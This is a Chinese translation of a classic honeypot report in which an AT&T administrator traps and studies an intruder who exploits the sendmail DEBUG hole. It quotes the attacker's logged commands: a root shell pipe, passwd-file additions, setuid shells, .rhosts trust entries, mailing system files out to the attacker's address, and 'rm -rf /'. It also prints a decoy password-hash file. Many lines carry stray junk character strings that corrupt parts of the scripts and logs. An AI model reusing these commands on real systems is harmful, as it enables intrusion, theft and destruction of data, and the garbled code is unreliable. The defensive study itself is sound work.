引誘、欺騙并研究一個(gè)黑客——陪伴berferd的一個(gè)夜晚

在1991年1月7號(hào)，一個(gè)黑客，他確信自己發(fā)現(xiàn)了我們的Internet網(wǎng)關(guān)計(jì)算機(jī)的sendmail的一個(gè)DUBUG漏洞的黑客，試圖獲得我們的password文件，我“送”給他了一份。
在幾個(gè)月中，我們引誘這名黑客作各種快樂(lè)的嘗試，以便于我們發(fā)現(xiàn)他的位置和使用的破解技術(shù)。這篇文章是對(duì)該黑客的“成功”和失敗，我們使用的誘餌和陷阱的詳細(xì)記錄
我們的結(jié)論是我們所遇到的這個(gè)黑客擁有大量的時(shí)間，固執(zhí)異常，并持有一份優(yōu)秀的系統(tǒng)漏洞列表。一旦他獲得了系統(tǒng)的一個(gè)正式注冊(cè)身份，使用那些漏洞他可以輕易的攻破uucp和bin帳號(hào)，然后是root。我們的黑客對(duì)軍事目標(biāo)和可以幫助他中轉(zhuǎn)其連接的新機(jī)器很感興趣。
簡(jiǎn)介
( `8 P+ ~# \* z  ?, X我們的安全I(xiàn)nternet網(wǎng)關(guān)是1990年1月開(kāi)始使用的。對(duì)于這個(gè)整個(gè)城堡的大門(mén)，我想知道它所可能遭到的攻擊會(huì)有多么頻繁。我明白Internet上有一些喜歡使用“暴力”的人，那么他們是誰(shuí)？他們會(huì)攻擊什么地方？會(huì)多么頻繁？他們經(jīng)常嘗試系統(tǒng)的那些漏洞？
事實(shí)上，他們沒(méi)有對(duì)AT&T作出破壞，甚至很少光顧我們的這扇大門(mén)，那么，最終的樂(lè)趣只有如此，引誘一個(gè)黑客到一個(gè)我們?cè)O(shè)計(jì)好的環(huán)境中，記錄下來(lái)他的所有動(dòng)作，研究其行為，并提醒他的下一個(gè)目標(biāo)作出防范。
大多數(shù)Internet上的工作站很少提供工具來(lái)作這些事情，商業(yè)系統(tǒng)檢測(cè)并報(bào)告一些問(wèn)題，但是它們忽略了很多我們想要的東西。我們的網(wǎng)關(guān)每天產(chǎn)生10兆的日志文件。但人們對(duì)于日志記錄以外的服務(wù)的攻擊呢？
+ R3 v) p0 b! h& K$ U我們添加了一些虛假的服務(wù)在系統(tǒng)上，同時(shí)我編寫(xiě)了一個(gè)script文件用來(lái)檢索每天的日志。我們檢查以下幾點(diǎn)：
FTP ：檢索的工具會(huì)報(bào)告每天所有注冊(cè)和試圖注冊(cè)的用戶(hù)名。它還會(huì)報(bào)告用戶(hù)對(duì)tilde的使用（這是個(gè)老版本的ftp的漏洞）、所有對(duì)ftp目錄的/etc/passwd和/etc/group的存取以及對(duì)pub目錄下完整文件列表的獲取。獲取passwd的人通常用它來(lái)獲得系統(tǒng)的正式用戶(hù)的注冊(cè)名稱(chēng)，然后攻擊、破解其密碼。有時(shí)有些系統(tǒng)的管理員會(huì)將系統(tǒng)的真實(shí)passwd文件放在ftp的/etc目錄下，我們偽造了一個(gè)passwd文件，它的密碼被破解后是“why are you wasting your time.”
Telnet / login ：所有試圖login的動(dòng)作都被記錄了下來(lái)。這很容易就可以看出有些人在嘗試很多帳號(hào)，或強(qiáng)力攻擊某一個(gè)帳號(hào)。因?yàn)槲覀冞@個(gè)Internet的大門(mén)除了“警衛(wèi)”外沒(méi)有什么別的用戶(hù)，很容易就可以找到問(wèn)題所在。
Guest / visitor 帳號(hào)：黑客們第一個(gè)尋找的就是公用帳號(hào)。這些帳號(hào)提供了友好的，最輕易的獲取幾乎系統(tǒng)的所有文件的機(jī)會(huì)，包括passwd文件。黑客也可以通過(guò)獲取/etc/hosts.equiv文件或每個(gè)用戶(hù)的.rhosts文件來(lái)獲得機(jī)器的信任主機(jī)列表。我們對(duì)于這些帳號(hào)的login script文件是這樣編寫(xiě)的：
! `4 Z/ [  B" \6 Q! lexec 2>/dev/null # ensure that stderr doesn't appear
2 \  c$ e; P! y* A) o8 s; t3 Atrap "" 1
/bin/echo
# z8 W9 v4 v( y8 `  A4 v( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
+ T; I8 a( [9 g( x4 J% d0 hupasname=adm /bin/mail ches dangelo &
# (notify calling machine's administrator for some machines...)
# (finger the calling machine...)
0 M1 L' w" Y/ Y5 r1 w9 Y3 D) 2>&1 | mail ches dangelo
+ K9 X( F" p4 H& p/bin/echo "/tmp full"
sleep 5 # I love to make them wait....
/bin/echo "/tmp full"
/bin/echo "/tmp full"
+ {# J" E' _4 X( q* k/bin/echo
# D( N- |% f' H7 w9 |6 Y% Hsleep 60 # ... and simulating a busy machine is useful
我們必須小心以便不讓調(diào)用者看到系統(tǒng)的標(biāo)志出錯(cuò)信息（如果一旦我們編寫(xiě)的script有誤）。注意$CALLER是在另一端的主機(jī)或IP地址。通過(guò)修改telnetd或login，它將可以通過(guò)環(huán)境變量來(lái)獲取。
% u% y1 b; _6 W' F, PSMTP DEBUG : 這個(gè)命令提供了兩個(gè)守候sendmail的漏洞的陷阱。雖然幾乎所有的產(chǎn)品出售商都清除了這個(gè)漏洞，但偶爾仍有黑客嘗試它。這個(gè)漏洞允許外部的使用者使用一段以root權(quán)限執(zhí)行的script。當(dāng)有些人嘗試這個(gè)漏洞時(shí)，我就獲得了他嘗試的script代碼。
Finger ：Finger提供了大量有用的信息給黑客：帳號(hào)名，該帳號(hào)的最后一次使用時(shí)間，以及一些可以用來(lái)猜測(cè)密碼的信息。由于我們的組織不允許提供這些信息給別人，我們置入了一個(gè)程序，在finger了fingerd的調(diào)用者后拒絕figner請(qǐng)求。（當(dāng)然我們會(huì)避免對(duì)來(lái)自自己的finger信息的死循環(huán)）。報(bào)告表明每天有數(shù)以十計(jì)的finger請(qǐng)求，其中大部分是合法的。
Rlogin / rsh ：這些命令都是基于一些無(wú)條件信任的系統(tǒng)，我們的機(jī)器并不支持。但我們會(huì)finger使用這些命令的用戶(hù)，并將他的嘗試和用戶(hù)信息等生成報(bào)告。
上述很多探測(cè)器都使用figner命令來(lái)查明調(diào)用的機(jī)器和使用者。
/ B- x9 V8 B, p0 e當(dāng)一個(gè)嘗試顯示為有不合法企圖時(shí)，我就發(fā)出這樣一條消息：
inetfans postmaster@sdsu.edu
# c& D+ K" P2 C; C4 `Yesterday someone from math.sdsu.edu fetched the /etc/passwd file
3 y9 i( I! ~, D% ~9 Gfrom our FTP directory. The file is not important, but these probes
  S" A; i: T5 S1 w( G# C6 S  Vare sometimes performed from stolen accounts.
. H- o4 D4 o$ X8 MJust thought you'd like to know.
Bill Cheswick
這是一個(gè)典型的信件，它被發(fā)往“inetfans”，這些人屬于計(jì)算機(jī)緊急響應(yīng)小組(Computer Emergency Response Team , CERT)、某些興趣小組或?qū)δ承┱军c(diǎn)感興趣的人。
$ ^. X  M+ [; W) Z很多系統(tǒng)管理員很重視這些報(bào)告，尤其是軍事站點(diǎn)。通常，系統(tǒng)管理員在解決這些問(wèn)題上都非常合作。對(duì)這些信件的反應(yīng)包括道歉，拒絕信件，關(guān)閉帳號(hào)以及沉默等等。當(dāng)一個(gè)站點(diǎn)開(kāi)來(lái)愿意支持黑客們的活動(dòng)時(shí)，我們會(huì)考慮拒收來(lái)自該站的所有信息包。
2 Y3 o0 K5 t; w: _2 }不友好的行動(dòng)
我們從1990年1月設(shè)置好這些探測(cè)器。統(tǒng)計(jì)表明被攻擊率在每年學(xué)校的假期期間會(huì)上升。我們的被攻擊率可能比其他站點(diǎn)高，因?yàn)槲覀兪菑V為人知的，并被認(rèn)為是“電話(huà)公司”。
$ a, K1 e7 G  F& g當(dāng)一個(gè)遠(yuǎn)程使用者取走passwd文件時(shí)，并不是所有的人都出于惡意的目的。有時(shí)他們只是想看看是否傳輸能正常工作。
! Y" J' o  ]7 ]  X0 }19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
) j% I0 l# ]6 F4 c  s19:43:14 smtpd[27466]: -------> debug
5 K5 a5 [6 g  p0 p# J19:43:14 smtpd[27466]: DEBUG attempt
19:43:14 smtpd[27466]: <--- 200 OK
19:43:25 smtpd[27466]: -------> mail from:
" G8 N  D( y9 c' H/ F0 Y3 R19:43:25 smtpd[27466]: <--- 503 Expecting HELO
19:43:34 smtpd[27466]: -------> helo
2 [6 v% e& p7 z" @+ y19:43:34 smtpd[27466]: HELO from
19:43:34 smtpd[27466]: <--- 250 inet.att.com
) `  S( L! O/ ?, O, ?19:43:42 smtpd[27466]: -------> mail from:
19:43:42 smtpd[27466]: <--- 250 OK
19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
+ n: n* T+ ?# r19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
19:44:45 smtpd[27466]: <--- 250 OK
% D$ C  d* g7 ^% ^4 |& H19:44:48 smtpd[27466]: -------> data
: K) v# x1 e2 z+ z0 ?$ D1 M4 S& h19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
19:45:04 smtpd[27466]: <--- 250 OK
0 w" @4 i$ F4 v: v; t0 D9 W19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
19:45:08 smtpd[27466]: -------> quit
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
' Q1 L" |$ E& g! x& m% p19:45:08 smtpd[27466]: finished.
. S1 l2 b) J/ R. H/ b6 b- d這是我們對(duì)SMTP過(guò)程的日志。這些看來(lái)很神秘的日志通常是有兩個(gè)郵件發(fā)送器來(lái)相互對(duì)話(huà)的。在這個(gè)例子中，另一端是由人來(lái)鍵入命令。他嘗試的第一個(gè)命令是DEBUG。當(dāng)他接收的“250 OK”的回應(yīng)時(shí)一定很驚奇。關(guān)鍵的行是“rcpt to :”。在尖括號(hào)括起的部分通常是一個(gè)郵件接收器的地址。這里它包含了一個(gè)命令行。Sendmail在DEBUG模式下用它來(lái)以ROOT身份執(zhí)行一段命令。即：
2 U, p& s! e, Z9 k. }3 c1 Bsed -e '1,/?$/'d | /bin/sh ; exit 0"
' W' z: U- i  ~5 R, D, ~它剝?nèi)チ肃]件頭，并使用ROOT身份執(zhí)行了消息體。這段消息郵寄給了我，這是我記錄下來(lái)的，包含時(shí)間戳：
: C( B+ [& g8 n19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我們郵寄給他一份我們的passwd文件。大概用來(lái)運(yùn)行一些passwd破解程序。所有這些探測(cè)結(jié)果都來(lái)自EMBEZZLE.STANFORD.EDU的一個(gè)adrian用戶(hù)。他在美國(guó)空襲伊拉克半個(gè)小時(shí)后公然作出敵意反應(yīng)。我懷疑是薩達(dá)姆雇傭了一兩個(gè)黑客。我恰巧在ftp的目錄下有一個(gè)假的passwd文件，就用root身份給Stanford發(fā)了過(guò)去。
. a+ l7 l+ F3 k9 S第二個(gè)早晨，我聽(tīng)到了來(lái)自Stanford的消息：他們知道了這件事，并正在發(fā)現(xiàn)問(wèn)題所在。他們說(shuō)adrian這個(gè)帳號(hào)被盜用了。
接著的一個(gè)星期天我接到了從法國(guó)發(fā)來(lái)的一封信：
4 `$ v0 W1 r" w2 o8 E6 gTo: root@research.att.com
Subject: intruder
Date: Sun, 20 Jan 91 15:02:53 +0100
/ m, M+ @( I5 p# Y4 b+ h, j- S& \I have just closed an account on my machine
! F8 t+ \$ V/ `7 s6 k. @which has been broken by an intruder coming from embezzle.stanford.edu. He
(she) has left a file called passwd. The contents are:
------------>
9 j1 F1 ]7 l+ b8 @From root@research.att.com Tue Jan 15 18:49:13 1991
Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
7 x8 A6 o# w, B! a; ~) d$ ]/ bTue, 15 Jan 91 18:49:12 -0800
$ b- n* t' P/ E* q" `( ]Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
7 W, X0 q1 Y3 S: s) q$ QFrom: root@research.att.com
- a8 W( p+ I0 X, l. M4 h6 MDate: Tue, 15 Jan 91 21:48 EST
To: adrian@embezzle.stanford.edu
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
) E7 G3 y! I# |$ b  j6 GDaemon: *:1:1:0000-Admin(0000):/:
Bin: *:2:2:0000-Admin(0000):/bin:
% n1 @- h) |: @5 P8 kSys: *:3:3:0000-Admin(0000):/usr/v9/src:
- `+ C9 Q* h% E) H1 E/ o, {! e+ aAdm: *:4:4:0000-Admin(0000):/usr/adm:
Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
Ftp: anonymous:71:14:file transfer:/:no soap
, f6 l$ x/ ~9 I3 f% ~Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
& i4 ^4 e8 m( M- }' N) ~Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
$ F. {+ F' x+ m+ U1 N9 HRtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
5 {) \8 I5 A0 Y) u' j9 XBerferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
Status: R
------------Please let me know if you heard of him.
! `( W' S9 c2 w, s陪伴Berferd的一個(gè)夜晚
1月20號(hào)，星期天晚上，我的終端報(bào)告有安全敏感事件。
- l/ r4 g* [+ L! T; Z4 P6 C22:33 finger attempt on berferd
4 b$ u% I( C' N幾分鐘后，有人試圖使用DEBUG來(lái)用ROOT身份執(zhí)行命令，他試圖修改我們的passwd文件！
! |* o% g. G  d. x2 O$ }7 y  H22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd
+ f* ]" `- {; f, zcp /bin/sh /tmp/shell
chmod 4755 /tmp/shell
連接同樣來(lái)自EMBEZZLE.STANFORD.EDU。
我該怎么作呢？我不希望他真的能獲得一個(gè)網(wǎng)關(guān)的帳號(hào)，為什么引狼入室呢？那樣我將得不到他的鍵盤(pán)活動(dòng)。
我應(yīng)該繼續(xù)看看他關(guān)注的其他事情，或許我可以手工模擬一下操作系統(tǒng)，這意味著我必須讓他以為機(jī)器速度很慢，因?yàn)槲覠o(wú)法和MIPS M/120相比。同時(shí)意味著我必須模擬一個(gè)一致的操作系統(tǒng)。
7 O. m3 m! E) X, R( Y1 u我已經(jīng)有一個(gè)要求了，因?yàn)樗呀?jīng)持有了一份passwd。
決定一：ftp的passwd是一個(gè)真實(shí)的passwd。
( p1 d7 t+ H1 H" x' K5 b還有另外的兩個(gè)：
決定二：網(wǎng)關(guān)機(jī)器管理極差。（有DEBUG漏洞，ftp目錄里有passwd）。
9 \% S: a$ f; S+ F! D決定三：網(wǎng)關(guān)機(jī)器極慢。
0 V) D6 m8 W6 [5 g因此我決定讓他以為他已經(jīng)改變了passwd文件，但卻不急于讓他進(jìn)來(lái)。我必須生成一個(gè)帳號(hào)，但卻使它不可操作。我應(yīng)該怎么辦？
+ J, _7 |$ r4 ?( D9 v; K決定四：我的shell并沒(méi)有放在/bin下，它放在其他地方。這樣，他進(jìn)來(lái)后（讓他認(rèn)為passwd已經(jīng)改動(dòng)了），沒(méi)有可運(yùn)行的shell。
這個(gè)決定很愚蠢，但我不會(huì)因此損失任何東西。我寫(xiě)了一個(gè)script，生成了一個(gè)臨時(shí)帳號(hào)b，當(dāng)它被調(diào)用時(shí)它會(huì)給我發(fā)信，調(diào)用者將看到如下信息：
RISC/os (inet)
login: b
RISC/os (UMIPS) 4.0 inet
Copyright 1986, MIPS Computer Systems
$ x" e' C: }1 ^& D* _* rAll Rights Reserved
Shell not found
我把b帳號(hào)在實(shí)際passwd文件中改成了beferd，當(dāng)我作完后，他在此嘗試：
22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd
他的另一個(gè)試圖添加到passwd文件的嘗試。事實(shí)上，在我為bferd完成新的配置之前他開(kāi)始急躁了：
22:45 talk adrian@embezzle.stand?Hford.edu
talk adrian@embezzle.stanford.edu
決定五：我們沒(méi)有talk這個(gè)命令。
. `- A( m4 o1 l6 D8 Z9 ^3 V他選擇了berferd這個(gè)帳號(hào)：
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
; G* p+ |& ]1 A- a9 ?22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
) y" R; b5 i* m- O! @' q- q) I' y) p22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
' }  o9 U3 t% {$ D22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
3 G3 D5 C( O/ n% I22:57 (Added bfrd to the real password file.)
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
( X+ d; w& O7 ]4 _( U- A  B; i& p22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
$ M0 i, t  K. v) v23:05 echo "36.92.0.205" >/dev/null
echo "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H
% O3 ~( D" t; w6 e4 m23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
4 e  S  o6 K# o) P; u4 a* N: F很顯然他希望能夠rlogin到我們的網(wǎng)關(guān)，這需要一些本地文件的特定設(shè)置。我們并沒(méi)有作rlogin的檢測(cè)。
這時(shí)他又有新的動(dòng)作：
' b" @8 Q: f0 ]4 B) i+ {( I23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
7 R  P5 z7 G4 R% y( t: x23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
) i- F  N) \( u23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf
ps -aux|mail adrian@embezzle.stanford.edu
( k+ K& S/ r+ L, v% d9 j0 n; U在rlogin失敗后，他希望能得到我們的inetd.conf文件來(lái)查看我們究竟啟動(dòng)了什么服務(wù)。我不想讓他看到真正的inetd.conf，但偽造一個(gè)又非常困難。
決定七：網(wǎng)關(guān)機(jī)器運(yùn)行不穩(wěn)定，時(shí)有不確定事件。
23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
8 l% P' ?6 ~* U( Zecho "embezzle.stanford.edu adrian" >> /tmp/.rhosts
( V+ m6 [7 r9 o8 {8 E# r* Rps -aux|mail adrian@embezzle.stanford.edu
mail adrian@embezzle.stanford.edu < /etc/inetd.conf
# ?; Q2 N/ @( `$ z; w我不希望他看到ps的結(jié)果，幸運(yùn)的是，他的Berkeley系統(tǒng)的ps命令在我的System V機(jī)器上是無(wú)效的。
這時(shí)我通知了CERT，這時(shí)一起嚴(yán)重的攻擊事件，在Stanford也應(yīng)該有追蹤這些請(qǐng)求的人。這時(shí)，活動(dòng)又轉(zhuǎn)到ftp上來(lái)：
  u9 d+ y6 k  _! ~- r/ cJan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
# X+ T) H! ^7 H& c/ y  ^8 n9 B(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
2 N9 a% x& F4 w1 k" ]7 S6 rJan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.
0 H9 y. G6 X) x. S  Q6 y# H; Q  H; uJan 20 23:37:06 inet ftpd[14437]: -------> pass?M
" `( k0 O4 \2 v7 `Jan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
# k+ l0 u4 F, a& Y; ]4 Q$ ]1 T" mJan 20 23:37:13 inet ftpd[14437]: -------> pass?M
  r/ S8 B; W6 j( T% l2 fJan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
) o6 P1 U: C0 p8 H9 yJan 20 23:37:24 inet ftpd[14437]: -------> HELP?M
% e  }! {& c+ [2 [! y& [% K& nJan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are
recognized (* =>'s unimplemented).
# E" r9 p  R  GJan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
Jan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
% _9 k9 `$ `6 }6 HJan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
Jan 20 23:37:31 inet ftpd[14437]: Logout, status 0
Jan 20 23:37:31 inet inetd[116]: exit 14437
' G) f: j$ w8 `7 lJan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454
9 N( V$ w2 _5 H4 U& ]Jan 20 23:37:41 inet inetd[116]: exit 14454
23:38 finger attempt on berferd
23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
! S" R& D8 X! H6 D! d: {8 Y( @8 h23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
cp /bin/sh /usr/etc/fingerd
" l: b6 l( Y9 u  ]4 o. I6 ~決定四已經(jīng)決定了最后一行的嘗試必然失敗。因此，他只是破壞了我們模擬的機(jī)器上的finger而已，并沒(méi)有將之替換成一個(gè)shell程序。我關(guān)閉了實(shí)際的fingerd程序。
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
- @3 F/ ?7 F- `: @( b, w23:58 cp /bin/csh /usr/etc/fingerd
我們模擬的機(jī)器上csh并不在/bin下，因此這個(gè)命令無(wú)效。
00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
- M8 y2 y: p4 c* t) z  Z' {8 m好吧，fingerd現(xiàn)在重新開(kāi)始工作。Berferd的恢復(fù)工作干的不錯(cuò)。
& f" Y6 l! h* W: s. Q5 ~00:14 passwd bfrt
( P5 B% P$ _: l& k; R* d# bbfrt
bfrt
現(xiàn)在他試圖修改password，這永遠(yuǎn)不會(huì)成功，因?yàn)閜asswd的輸入是/dev/tty，不是sendmail所執(zhí)行的shell script。
+ `0 {+ K2 B. |! Q7 ]00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
' F+ F+ k6 {+ m00:17 echo "/bin/sh" > /tmp/Shell
chmod 755 /tmp/shell
chmod 755 /tmp/Shell
1 m9 i/ [  L  e  S0 A00:19 chmod 4755 /tmp/shell
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
3 B1 A! v) x1 E& X; X8 |00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
( B& A' X, f  G# F: b( u; C00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
這時(shí)我已經(jīng)很累了。
+ d: R. o1 @8 _01:55 rm -rf /&
0 J0 x$ A- Y/ ^) I喔?。√萘?！顯然機(jī)器的狀態(tài)讓他迷惑，他希望能清除所有的痕跡。有些黑客會(huì)保護(hù)自己所作的工作，聲明自己不作任何破壞。我們的黑客對(duì)我們感到疲勞了，因此以此結(jié)束。
他繼續(xù)工作了幾分鐘，后來(lái)放棄：
! ]0 U- |9 B! O07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
07:14 rm -rf /&
2 `( ~( _2 s- ^$ h' y) C* i) v$ z07:17 finger attempt on berferd
* K+ U: c3 l) @" k07:19 /bin/rm -rf /&
$ X* N0 e/ H. s3 L) r/bin/rm -rf /&
07:23 /bin/rm -rf /&
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
, K! t! P& [$ F09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
. p& o1 t3 L( F/ ]. ?+ f+ d0 l